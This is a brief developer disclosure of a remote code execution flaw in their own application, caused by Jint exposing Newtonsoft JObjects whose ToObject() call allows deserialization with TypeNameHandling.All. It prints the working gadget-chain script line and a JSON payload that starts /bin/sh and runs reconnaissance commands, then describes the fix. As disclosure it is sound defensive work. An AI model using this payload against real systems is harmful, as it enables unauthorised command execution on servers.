Bounty hunter asyx6 reported a CVSS 9.9 RCE vulnerability in a program I wrote six years ago.
The application exposed JSON data from HTTP requests to Jint as JObjects—presumed safe because the CLR interop was disabled in the Jint configuration. It wasn’t.
Jint uses reflection-based method resolution on CLR types regardless of the interop settings. A user-defined script invoking ToObject() on a JObject activates Newtonsoft.Json’s deserializer. Together, these formed a gadget chain from attacker-controlled JSON payload to System.Diagnostics.Process:
data.ToObject(cfg).Start(psi.ToObject(cfg)).StandardOutput.ReadToEnd();
The script triggers the deserialization of the following malicious JSON payload via a serializer configured with TypeNameHandling.All. This constructs a Process, starts it, and reads its output:
{
"data": {"$type": "System.Diagnostics.Process, System.Diagnostics.Process"},
"psi": {
"$type": "System.Diagnostics.ProcessStartInfo, System.Diagnostics.Process",
"FileName": "/bin/sh",
"ArgumentList": ["-c", "id; hostname; uname -sm; head -2 /etc/os-release"],
"RedirectStandardOutput": true,
"UseShellExecute": false
},
"cfg": {"TypeNameHandling": 3}
}
Fix: Objects that implement IDictionary<string, object> bypass Jint’s method resolution system. Converted all objects that cross the CLR-JavaScript boundary to ExpandoObjects. Blocked reflection types from reaching Jint for good measure.